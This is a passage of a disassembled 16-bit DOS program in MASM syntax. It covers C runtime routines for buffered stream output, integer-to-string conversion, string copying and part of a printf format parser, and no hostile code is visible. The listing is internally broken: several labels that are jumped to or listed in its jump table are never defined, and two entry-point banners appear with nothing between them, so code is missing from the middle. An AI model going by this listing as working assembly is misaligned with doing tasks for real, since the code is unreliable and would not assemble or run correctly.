CMP WORD PTR DS:DATA_33E,0 ; (7FC4:03A6=8D50H)
JNE LOC_79 ; Jump if not equal
MOV AX,23EH
CMP AX,SI
JNE LOC_79 ; Jump if not equal
MOV WORD PTR DS:DATA_33E,1 ; (7FC4:03A6=8D50H)
LOC_79:
CMP WORD PTR [SI],0
JE LOC_80 ; Jump if equal
MOV AX,1
PUSH AX
XOR AX,AX ; Zero register
PUSH AX
PUSH AX
PUSH SI
CALL SUB_24 ; (06F7)
ADD SP,8
LOC_80:
TEST WORD PTR [SI+2],4
JZ LOC_81 ; Jump if zero
PUSH WORD PTR [SI+8]
CALL SUB_47 ; (14CC)
POP CX
LOC_81:
AND WORD PTR [SI+2],0FFF3H
nop ;*Fixup for MASM (M)
MOV WORD PTR [SI+6],0
MOV AX,SI
ADD AX,5
MOV [SI+8],AX
MOV [SI+0AH],AX
CMP WORD PTR [BP+8],2
JE LOC_84 ; Jump if equal
OR DI,DI ; Zero ?
JBE LOC_84 ; Jump if below or =
MOV WORD PTR DS:DATA_31E,8A4H ; (7FC4:0232=2FB9H)
CMP WORD PTR [BP+6],0
JNE LOC_83 ; Jump if not equal
PUSH DI
CALL SUB_19 ; (05CA)
POP CX
MOV [BP+6],AX
OR AX,AX ; Zero ?
JZ LOC_82 ; Jump if zero
OR WORD PTR [SI+2],4
nop ;*Fixup for MASM (M)
JMP SHORT LOC_83 ; (0885)
LOC_82:
MOV AX,0FFFFH
JMP SHORT LOC_85 ; (08A0)
LOC_83:
MOV AX,[BP+6]
MOV [SI+0AH],AX
MOV [SI+8],AX
MOV [SI+6],DI
CMP WORD PTR [BP+8],1
JNE LOC_84 ; Jump if not equal
OR WORD PTR [SI+2],8
nop ;*Fixup for MASM (M)
LOC_84:
XOR AX,AX ; Zero register
JMP SHORT LOC_85 ; (08A0)
LOC_85:
POP DI
POP SI
POP BP
RETN
SUB_26 ENDP
DB 56H, 57H, 0BFH, 4, 0, 0BEH
DB 3EH, 2, 0EBH, 10H
LOC_86:
TEST WORD PTR [SI+2],3
JZ LOC_87 ; Jump if zero
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
LOC_87:
DEC DI
ADD SI,10H
OR DI,DI ; Zero ?
JNZ LOC_86 ; Jump if not zero
POP DI
POP SI
RETN
SUB_30 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,22H
PUSH SI
PUSH DI
PUSH ES
MOV DI,[BP+0AH]
PUSH DS
POP ES
MOV BX,[BP+8]
CMP BX,24H
JA LOC_113 ; Jump if above
CMP BL,2
JB LOC_113 ; Jump if below
MOV AX,[BP+0CH]
MOV CX,[BP+0EH]
OR CX,CX ; Zero ?
JGE LOC_106 ; Jump if > or =
CMP BYTE PTR [BP+6],0
JE LOC_106 ; Jump if equal
MOV BYTE PTR [DI],2DH ; '-'
INC DI
NEG CX
NEG AX
SBB CX,0
LOC_106:
LEA SI,[BP-22H] ; Load effective addr
JCXZ LOC_108 ; Jump if cx=0
LOC_107:
XCHG AX,CX
SUB DX,DX
DIV BX ; ax,dx rem=dx:ax/reg
XCHG AX,CX
DIV BX ; ax,dx rem=dx:ax/reg
MOV [SI],DL
INC SI
JCXZ LOC_109 ; Jump if cx=0
JMP SHORT LOC_107 ; (0A84)
LOC_108:
SUB DX,DX
DIV BX ; ax,dx rem=dx:ax/reg
MOV [SI],DL
INC SI
LOC_109:
OR AX,AX ; Zero ?
JNZ LOC_108 ; Jump if not zero
LEA CX,[BP-22H] ; Load effective addr
NEG CX
ADD CX,SI
CLD ; Clear direction
LOCLOOP_110:
DEC SI
MOV AL,[SI]
SUB AL,0AH
JNC LOC_111 ; Jump if carry=0
ADD AL,3AH ; ':'
JMP SHORT LOC_112 ; (0AB4)
LOC_111:
ADD AL,[BP+4]
LOC_112:
STOSB ; Store al to es:[di]
LOOP LOCLOOP_110 ; Loop if cx > 0
LOC_113:
MOV AL,0
STOSB ; Store al to es:[di]
POP ES
MOV AX,[BP+0AH]
JMP SHORT LOC_114 ; (0AC0)
LOC_114:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 0CH
SUB_30 ENDP
DB 55H, 8BH, 0ECH, 83H, 7EH, 8
DB 0AH, 75H, 6, 8BH, 46H, 4
DB 99H, 0EBH, 5, 8BH, 46H, 4
DB 33H, 0D2H, 52H, 50H, 0FFH, 76H
DB 6, 0FFH, 76H, 8, 0B0H, 1
DB 50H, 0B0H, 61H, 50H, 0E8H, 5CH
DB 0FFH, 0EBH, 0
LOC_115:
POP BP
RETN
DB 55H, 8BH, 0ECH, 0FFH, 76H, 6
DB 0FFH, 76H, 4, 0FFH, 76H, 8
DB 0FFH, 76H, 0AH, 0B0H, 0, 50H
DB 0B0H, 61H, 50H, 0E8H, 40H, 0FFH
DB 0EBH, 0, 5DH, 0C3H, 55H, 8BH
DB 0ECH, 0FFH, 76H, 6, 0FFH, 76H
DB 4, 0FFH, 76H, 8, 0FFH, 76H
DB 0AH, 83H, 7EH, 0AH, 0AH, 75H
DB 5, 0B8H, 1, 0, 0EBH, 2
DB 33H, 0C0H, 50H, 0B0H, 61H, 50H
DB 0E8H, 19H, 0FFH, 0EBH, 0
LOC_116:
POP BP
RETN
SUB_32 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
CLD ; Clear direction
MOV DI,[BP+4]
PUSH DS
POP ES
MOV DX,DI
XOR AL,AL ; Zero register
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
LEA SI,[DI-1] ; Load effective addr
MOV DI,[BP+6]
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
SUB DI,CX
XCHG SI,DI
TEST SI,1
JZ LOC_119 ; Jump if zero
MOVSB ; Mov [si] to es:[di]
DEC CX
LOC_119:
SHR CX,1 ; Shift w/zeros fill
REP MOVSW ; Rep while cx>0 Mov [si] to es:[di]
JNC LOC_120 ; Jump if carry=0
MOVSB ; Mov [si] to es:[di]
LOC_120:
MOV AX,DX
JMP SHORT LOC_121 ; (0B84)
LOC_121:
POP DI
POP SI
POP BP
RETN
SUB_32 ENDP
SUB_33 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
PUSH DS
POP ES
CLD ; Clear direction
MOV DI,[BP+6]
MOV SI,DI
XOR AL,AL ; Zero register
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
MOV DI,[BP+4]
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV AX,[BP+4]
JMP SHORT LOC_122 ; (0BA8)
LOC_122:
POP DI
POP SI
POP BP
RETN
SUB_33 ENDP
DB 55H, 8BH, 0ECH, 56H, 57H, 1EH
DB 7, 8BH, 7EH, 4, 8BH, 76H
DB 6, 8BH, 4EH, 8, 0D1H, 0E9H
DB 0FCH, 0F3H, 0A5H, 73H, 1, 0A4H
LOC_123:
MOV AX,[BP+4]
JMP SHORT LOC_124 ; (0BC9)
LOC_124:
POP DI
POP SI
POP BP
RETN
DB 0BAH, 0AAH, 3, 0EBH, 3, 0BAH
DB 0AFH, 3, 0B9H, 5, 0, 90H
DB 0B4H, 40H, 0BBH, 2, 0, 0CDH
DB 21H, 0B9H, 27H, 0, 90H, 0BAH
DB 0B4H, 3, 0B4H, 40H, 0CDH, 21H
DB 0E9H, 0F4H, 0F5H
SUB_34 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV SI,[BP+4]
MOV AX,[SI+0EH]
CMP AX,SI
JE LOC_125 ; Jump if equal
MOV AX,0FFFFH
JMP SHORT LOC_130 ; (0C68)
LOC_125:
CMP WORD PTR [SI],0
JL LOC_128 ; Jump if <
TEST WORD PTR [SI+2],8
JNZ LOC_126 ; Jump if not zero
MOV AX,[SI+0AH]
MOV DX,SI
ADD DX,5
CMP AX,DX
JNE LOC_127 ; Jump if not equal
LOC_126:
MOV WORD PTR [SI],0
MOV AX,[SI+0AH]
MOV DX,SI
ADD DX,5
CMP AX,DX
JNE LOC_127 ; Jump if not equal
MOV AX,[SI+8]
MOV [SI+0AH],AX
LOC_127:
XOR AX,AX ; Zero register
JMP SHORT LOC_130 ; (0C68)
LOC_128:
MOV DI,[SI+6]
ADD DI,[SI]
INC DI
SUB [SI],DI
PUSH DI
MOV AX,[SI+8]
MOV [SI+0AH],AX
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_27 ; (08C5)
ADD SP,6
CMP AX,DI
JE LOC_129 ; Jump if equal
TEST WORD PTR [SI+2],200H
JNZ LOC_129 ; Jump if not zero
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP SHORT LOC_130 ; (0C68)
LOC_129:
XOR AX,AX ; Zero register
JMP SHORT LOC_130 ; (0C68)
LOC_130:
POP DI
POP SI
POP BP
RETN
SUB_34 ENDP
SUB_35 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+6]
DEC WORD PTR [BX]
PUSH WORD PTR [BP+6]
MOV AL,[BP+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_36 ; (0C85)
MOV SP,BP
JMP SHORT LOC_131 ; (0C83)
LOC_131:
POP BP
RETN
SUB_35 ENDP
SUB_36 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
MOV SI,[BP+6]
MOV AL,[BP+4]
MOV [BP-1],AL
LOC_132:
INC WORD PTR [SI]
JGE LOC_135 ; Jump if > or =
MOV AL,[BP-1]
INC WORD PTR [SI+0AH]
MOV BX,[SI+0AH]
MOV [BX-1],AL
TEST WORD PTR [SI+2],8
JZ LOC_134 ; Jump if zero
CMP BYTE PTR [BP-1],0AH
JE LOC_133 ; Jump if equal
CMP BYTE PTR [BP-1],0DH
JNE LOC_134 ; Jump if not equal
LOC_133:
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_134 ; Jump if zero
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_134:
MOV AL,[BP-1]
MOV AH,0
JMP LOC_149 ; (0DB0)
LOC_135:
DEC WORD PTR [SI]
TEST WORD PTR [SI+2],90H
JNZ LOC_136 ; Jump if not zero
TEST WORD PTR [SI+2],2
JNZ LOC_137 ; Jump if not zero
LOC_136:
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_137:
OR WORD PTR [SI+2],100H
CMP WORD PTR [SI+6],0
JE LOC_141 ; Jump if equal
CMP WORD PTR [SI],0
JE LOC_139 ; Jump if equal
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_138 ; Jump if zero
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_138:
JMP SHORT LOC_140 ; (0D15)
LOC_139:
MOV AX,0FFFFH
MOV DX,[SI+6]
SUB AX,DX
MOV [SI],AX
LOC_140:
JMP LOC_132 ; (0C95)
JMP LOC_149 ; (0DB0)
LOC_141:
CMP WORD PTR DS:DATA_34E,0 ; (7FC4:03A8=0AE46H)
JNE LOC_145 ; Jump if not equal
MOV AX,24EH
CMP AX,SI
JNE LOC_145 ; Jump if not equal
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_25 ; (07BA)
POP CX
OR AX,AX ; Zero ?
JNZ LOC_142 ; Jump if not zero
AND WORD PTR [SI+2],0FDFFH
LOC_142:
MOV AX,200H
PUSH AX
TEST WORD PTR [SI+2],200H
JZ LOC_143 ; Jump if zero
MOV AX,2
JMP SHORT LOC_144 ; (0D4D)
LOC_143:
XOR AX,AX ; Zero register
LOC_144:
PUSH AX
XOR AX,AX ; Zero register
PUSH AX
PUSH SI
CALL SUB_26 ; (07D2)
ADD SP,8
JMP LOC_137 ; (0CEA)
nop ;*Fixup for MASM (V)
LOC_145:
CMP BYTE PTR [BP-1],0AH
JNE LOC_146 ; Jump if not equal
TEST WORD PTR [SI+2],40H
JNZ LOC_146 ; Jump if not zero
MOV AX,1
PUSH AX
MOV AX,3DCH
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
CMP AX,1
JNE LOC_147 ; Jump if not equal
LOC_146:
MOV AX,1
PUSH AX
LEA AX,[BP+4] ; Load effective addr
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
CMP AX,1
JE LOC_148 ; Jump if equal
LOC_147:
TEST WORD PTR [SI+2],200H
JNZ LOC_148 ; Jump if not zero
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP SHORT LOC_149 ; (0DB0)
LOC_148:
MOV AL,[BP-1]
MOV AH,0
JMP SHORT LOC_149 ; (0DB0)
LOC_149:
POP SI
MOV SP,BP
POP BP
RETN
SUB_36 ENDP
DB 55H, 8BH, 0ECH, 56H, 8BH, 76H
DB 4, 0B8H, 4EH, 2, 50H, 56H
DB 0E8H, 0C1H, 0FEH, 59H, 59H, 0EBH
DB 0, 5EH, 5DH, 0C3H, 55H, 8BH
DB 0ECH, 83H, 0ECH, 2, 56H, 57H
DB 8BH, 76H, 4, 8BH, 7EH, 6
DB 47H, 0F7H, 44H, 2, 8, 0
DB 74H, 23H, 0EBH, 2
LOC_150:
JMP SHORT LOC_151 ; (0DE5)
LOC_151:
DEC DI
MOV AX,DI
OR AX,AX ; Zero ?
JZ LOC_152 ; Jump if zero
PUSH SI
MOV BX,[BP+8]
INC WORD PTR [BP+8]
MOV AL,[BX]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_36 ; (0C85)
POP CX
POP CX
CMP AX,0FFFFH
JNE LOC_150 ; Jump if not equal
LOC_152:
JMP LOC_159 ; (0E79)
DB 0F7H, 44H, 2, 40H, 0, 74H
DB 37H, 83H, 7CH, 6, 0, 74H
DB 31H, 8BH, 44H, 6, 3BH, 0C7H
DB 73H, 2AH, 83H, 3CH, 0, 74H
DB 0DH, 56H, 0E8H, 0CDH, 0FDH, 59H
DB 0BH, 0C0H, 74H, 4, 33H, 0C0H
DB 0EBH
DB 53H
LOC_153:
DEC DI
PUSH DI
PUSH WORD PTR [BP+8]
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
MOV [BP-2],AX
SUB DI,[BP-2]
JMP SHORT LOC_159 ; (0E79)
LOC_154:
JMP SHORT LOC_156 ; (0E46)
LOC_155:
JMP SHORT LOC_156 ; (0E46)
LOC_156:
DEC DI
MOV AX,DI
OR AX,AX ; Zero ?
JZ LOC_159 ; Jump if zero
INC WORD PTR [SI]
JGE LOC_157 ; Jump if > or =
MOV BX,[BP+8]
INC WORD PTR [BP+8]
MOV AL,[BX]
INC WORD PTR [SI+0AH]
MOV BX,[SI+0AH]
MOV [BX-1],AL
MOV AH,0
JMP SHORT LOC_158 ; (0E74)
LOC_157:
PUSH SI
MOV BX,[BP+8]
INC WORD PTR [BP+8]
PUSH WORD PTR [BX]
CALL SUB_35 ; (0C6C)
POP CX
POP CX
LOC_158:
CMP AX,0FFFFH
JNE LOC_155 ; Jump if not equal
LOC_159:
MOV AX,DI
JMP SHORT LOC_160 ; (0E7D)
LOC_160:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 6
SUB_37 PROC NEAR
JMP WORD PTR DS:[45CH] ; (8134:045C=0BCDH)
;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп
SUB_38:
PUSH BP
MOV BP,SP
MOV DX,[BP+4]
MOV CX,0F04H
MOV BX,3E5H
CLD ; Clear direction
MOV AL,DH
SHR AL,CL ; Shift w/zeros fill
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DH
AND AL,CH
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DL
SHR AL,CL ; Shift w/zeros fill
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DL
AND AL,CH
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
JMP SHORT LOC_161 ; (0EB0)
LOC_161:
POP BP
RETN 2
SUB_37 ENDP
SUB_39 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,96H
PUSH SI
PUSH DI
MOV WORD PTR [BP-56H],0
MOV BYTE PTR [BP-53H],50H ; 'P'
JMP SHORT LOC_163 ; (0F00)
;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп
SUB_40:
PUSH DI
MOV CX,0FFFFH
XOR AL,AL ; Zero register
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
DEC CX
POP DI
RETN
;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп
SUB_41:
MOV [DI],AL
INC DI
DEC BYTE PTR [BP-53H]
JLE LOC_RET_162 ; Jump if < or =
;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп
SUB_42:
PUSH BX
PUSH CX
PUSH DX
PUSH ES
LEA AX,[BP-52H] ; Load effective addr
SUB DI,AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
PUSH DI
PUSH WORD PTR [BP+8]
CALL WORD PTR [BP+0AH] ;*(0000) 1 entry
MOV BYTE PTR [BP-53H],50H ; 'P'
ADD [BP-56H],DI
LEA DI,[BP-52H] ; Load effective addr
POP ES
POP DX
POP CX
POP BX
LOC_RET_162:
RETN
LOC_163:
PUSH ES
CLD ; Clear direction
LEA DI,[BP-52H] ; Load effective addr
MOV SS:DATA_127E[BP],DI ; (817F:FF6C=0)
LOC_164:
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
LOC_165:
MOV SI,[BP+6]
LOC_166:
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JZ LOC_168 ; Jump if zero
CMP AL,25H ; '%'
JE LOC_169 ; Jump if equal
LOC_167:
MOV [DI],AL
INC DI
DEC BYTE PTR [BP-53H]
JG LOC_166 ; Jump if >
CALL SUB_42 ; (0EDD)
JMP SHORT LOC_166 ; (0F10)
LOC_168:
JMP LOC_247 ; (139E)
LOC_169:
MOV SS:DATA_134E[BP],SI ; (817F:FF78=0)
LODSB ; String [si] to al
CMP AL,25H ; '%'
JE LOC_167 ; Jump if equal
MOV SS:DATA_127E[BP],DI ; (817F:FF6C=0)
XOR CX,CX ; Zero register
MOV SS:DATA_133E[BP],CX ; (817F:FF76=0)
MOV SS:DATA_126E[BP],CX ; (817F:FF6A=0)
MOV SS:DATA_132E[BP],CL ; (817F:FF75=0)
MOV WORD PTR SS:DATA_130E[BP],0FFFFH ; (817F:FF70=0)
MOV WORD PTR SS:DATA_131E[BP],0FFFFH ; (817F:FF72=0)
JMP SHORT LOC_171 ; (0F53)
LOC_170:
LODSB ; String [si] to al
LOC_171:
XOR AH,AH ; Zero register
MOV DX,AX
MOV BX,AX
SUB BL,20H ; ' '
CMP BL,60H ; '`'
JAE LOC_173 ; Jump if above or =
MOV BL,DATA_111[BX] ; (8134:03F5=0)
MOV AX,BX
CMP AX,17H
JBE LOC_172 ; Jump if below or =
JMP LOC_245 ; (138C)
LOC_172:
MOV BX,AX
SHL BX,1 ; Shift w/zeros fill
JMP WORD PTR CS:DATA_41[BX] ;*(7FD4:0F78=0FC3H) 24 entries
DATA_41 DW OFFSET LOC_176 ; Data table (indexed access)
DATA_42 DW OFFSET LOC_174
DATA_43 DW OFFSET LOC_182
DATA_44 DW OFFSET LOCLOOP_175
DATA_45 DW OFFSET LOC_185
DATA_46 DW OFFSET LOC_186
DATA_47 DW OFFSET LOC_188
DATA_48 DW OFFSET LOC_189
DATA_49 DW OFFSET LOC_190
DATA_50 DW OFFSET LOC_180
DATA_51 DW OFFSET LOC_196
DATA_52 DW OFFSET LOC_191
DATA_53 DW OFFSET LOC_192
DATA_54 DW OFFSET LOC_193
DATA_55 DW OFFSET LOC_205
DATA_56 DW OFFSET LOC_214
DATA_57 DW OFFSET LOC_208
DATA_58 DW OFFSET LOC_209
DATA_59 DW OFFSET LOC_242
DATA_60 DW OFFSET LOC_245
DATA_61 DW OFFSET LOC_245
DATA_62 DW OFFSET LOC_245
DATA_63 DW OFFSET LOC_178
DATA_64 DW OFFSET LOC_179
LOC_173:
JMP LOC_245 ; (138C)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_174:
CMP CH,0
JA LOC_173 ; Jump if above
OR WORD PTR SS:DATA_126E[BP],1 ; (817F:FF6A=0)
JMP SHORT LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOCLOOP_175:
CMP CH,0
JA LOC_173 ; Jump if above
OR WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JMP SHORT LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_176:
CMP CH,0
JA LOC_173 ; Jump if above
CMP BYTE PTR SS:DATA_132E[BP],2BH ; (817F:FF75=0) '+'
JE LOC_177 ; Jump if equal
MOV SS:DATA_132E[BP],DL ; (817F:FF75=0)
LOC_177:
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_178:
AND WORD PTR SS:DATA_126E[BP],0FFDFH ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_179:
OR WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_180:
CMP CH,0
JA LOC_186 ; Jump if above
TEST WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JNZ LOC_183 ; Jump if not zero
OR WORD PTR SS:DATA_126E[BP],8 ; (817F:FF6A=0)
MOV CH,1
JMP LOC_170 ; (0F52)
LOC_181:
JMP LOC_245 ; (138C)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_182:
MOV DI,[BP+4]
MOV AX,[DI]
ADD WORD PTR [BP+4],2
CMP CH,2
JAE LOC_184 ; Jump if above or =
MOV SS:DATA_130E[BP],AX ; (817F:FF70=0)
MOV CH,3
LOC_183:
JMP LOC_170 ; (0F52)
LOC_184:
CMP CH,4
JNE LOC_181 ; Jump if not equal
MOV SS:DATA_131E[BP],AX ; (817F:FF72=0)
INC CH
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_185:
CMP CH,4
JAE LOC_181 ; Jump if above or =
MOV CH,4
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_186:
XCHG AX,DX
SUB AL,30H ; '0'
CBW ; Convrt byte to word
CMP CH,2
JA LOC_187 ; Jump if above
MOV CH,2
XCHG AX,SS:DATA_130E[BP] ; (817F:FF70=0)
OR AX,AX ; Zero ?
JL LOC_183 ; Jump if <
SHL AX,1 ; Shift w/zeros fill
MOV DX,AX
SHL AX,1 ; Shift w/zeros fill
SHL AX,1 ; Shift w/zeros fill
ADD AX,DX
ADD SS:DATA_130E[BP],AX ; (817F:FF70=0)
JMP LOC_170 ; (0F52)
LOC_187:
CMP CH,4
JNE LOC_181 ; Jump if not equal
XCHG AX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR AX,AX ; Zero ?
JL LOC_183 ; Jump if <
SHL AX,1 ; Shift w/zeros fill
MOV DX,AX
SHL AX,1 ; Shift w/zeros fill
SHL AX,1 ; Shift w/zeros fill
ADD AX,DX
ADD SS:DATA_131E[BP],AX ; (817F:FF72=0)
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_188:
OR WORD PTR SS:DATA_126E[BP],10H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_189:
OR WORD PTR SS:DATA_126E[BP],100H ; (817F:FF6A=0)
AND WORD PTR SS:DATA_126E[BP],0FFEFH ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_190:
AND WORD PTR SS:DATA_126E[BP],0FFEFH ; (817F:FF6A=0)
OR WORD PTR SS:DATA_126E[BP],80H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_191:
MOV BH,8
JMP SHORT LOC_194 ; (10AD)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_192:
MOV BH,0AH
JMP SHORT LOC_195 ; (10B2)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_196:
MOV BH,0AH
MOV BYTE PTR SS:DATA_129E[BP],1 ; (817F:FF6F=0)
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV AX,[DI]
CWD ; Word to double word
LOC_197:
INC DI
INC DI
MOV [BP+6],SI
TEST WORD PTR SS:DATA_126E[BP],10H ; (817F:FF6A=0)
JZ LOC_198 ; Jump if zero
MOV DX,[DI]
INC DI
INC DI
LOC_198:
MOV [BP+4],DI
LEA DI,[BP-85H] ; Load effective addr
OR AX,AX ; Zero ?
JNZ LOC_202 ; Jump if not zero
OR DX,DX ; Zero ?
JNZ LOC_202 ; Jump if not zero
CMP WORD PTR SS:DATA_131E[BP],0 ; (817F:FF72=0)
JNE LOC_203 ; Jump if not equal
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV CX,SS:DATA_130E[BP] ; (817F:FF70=0)
JCXZ LOC_201 ; Jump if cx=0
CMP CX,0FFFFH
JE LOC_201 ; Jump if equal
MOV AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
AND AX,8
JZ LOC_199 ; Jump if zero
MOV DL,30H ; '0'
JMP SHORT LOCLOOP_200 ; (111A)
LOC_199:
MOV DL,20H ; ' '
LOC_201:
JMP LOC_165 ; (0F0D)
LOC_202:
OR WORD PTR SS:DATA_126E[BP],4 ; (817F:FF6A=0)
LOC_203:
PUSH DX
PUSH AX
PUSH DI
MOV AL,BH
CBW ; Convrt byte to word
PUSH AX
MOV AL,SS:DATA_129E[BP] ; (817F:FF6F=0)
PUSH AX
PUSH BX
CALL SUB_30 ; (0A49)
PUSH SS
POP ES
MOV DX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR DX,DX ; Zero ?
JG LOC_204 ; Jump if >
JMP LOC_219 ; (125A)
LOC_204:
JMP LOC_220 ; (126A)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_205:
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV [BP+6],SI
LEA DI,[BP-86H] ; Load effective addr
MOV BX,[BP+4]
PUSH WORD PTR [BX]
INC BX
INC BX
MOV [BP+4],BX
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JZ LOC_206 ; Jump if zero
PUSH WORD PTR [BX]
INC BX
INC BX
MOV [BP+4],BX
PUSH SS
POP ES
CALL SUB_38 ; (0E89)
MOV AL,3AH ; ':'
STOSB ; Store al to es:[di]
LOC_206:
PUSH SS
POP ES
CALL SUB_38 ; (0E89)
MOV BYTE PTR [DI],0
MOV BYTE PTR SS:DATA_129E[BP],0 ; (817F:FF6F=0)
AND WORD PTR SS:DATA_126E[BP],0FFFBH ; (817F:FF6A=0)
LEA CX,[BP-86H] ; Load effective addr
SUB DI,CX
XCHG CX,DI
MOV DX,SS:DATA_131E[BP] ; (817F:FF72=0)
CMP DX,CX
JG LOC_207 ; Jump if >
MOV DX,CX
LOC_207:
JMP LOC_219 ; (125A)
;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
LOC_208:
MOV [BP+6],SI
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV AX,[DI]
ADD WORD PTR [BP+4],2
PUSH SS
POP ES
LEA DI,[BP-85H] ; Load effective addr
XOR AH,AH ; Zero register
MOV [DI],AX
MOV CX,1
JMP LOC_223 ; (1294)
